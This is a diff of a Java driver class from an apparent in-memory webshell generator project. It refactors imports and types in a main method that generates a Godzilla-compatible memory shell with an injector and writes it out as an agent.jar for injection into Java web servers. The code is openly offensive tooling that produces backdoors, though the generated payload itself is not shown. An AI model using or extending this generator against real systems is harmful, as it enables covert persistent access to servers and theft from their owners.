|
1 | 1 | package com.reajason.javaweb; |
2 | 2 |
|
3 | | -import com.reajason.javaweb.memshell.*; |
4 | | -import com.reajason.javaweb.memshell.config.GenerateResult; |
| 3 | +import com.reajason.javaweb.memshell.MemShellGenerator; |
| 4 | +import com.reajason.javaweb.memshell.MemShellResult; |
| 5 | +import com.reajason.javaweb.memshell.ShellTool; |
| 6 | +import com.reajason.javaweb.memshell.ShellType; |
5 | 7 | import com.reajason.javaweb.memshell.config.GodzillaConfig; |
6 | 8 | import com.reajason.javaweb.memshell.config.InjectorConfig; |
7 | 9 | import com.reajason.javaweb.memshell.config.ShellConfig; |
8 | | -import com.reajason.javaweb.memshell.packer.jar.JarPacker; |
| 10 | +import com.reajason.javaweb.packer.Packers; |
| 11 | +import com.reajason.javaweb.packer.jar.JarPacker; |
| 12 | +import com.sun.security.ntlm.Server; |
9 | 13 |
|
10 | 14 | import java.nio.file.Files; |
11 | 15 | import java.nio.file.Paths; |
@@ -38,15 +42,15 @@ public static void main(String[] args) throws Exception { |
38 | 42 | // .headerValue("test") |
39 | 43 | .build(); |
40 | 44 |
|
41 | | - GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); |
| 45 | + MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig); |
42 | 46 |
|
43 | 47 | System.out.println("注入器类名:" + result.getInjectorClassName()); |
44 | 48 | System.out.println("内存马类名:" + result.getShellClassName()); |
45 | 49 |
|
46 | 50 | System.out.println(result.getShellConfig()); |
47 | 51 | System.out.println(result.getShellToolConfig()); |
48 | 52 |
|
49 | | - byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result); |
| 53 | + byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig()); |
50 | 54 | Files.write(Paths.get("agent.jar"), agentJarBytes); |
51 | 55 | } |
52 | 56 | } |
0 commit comments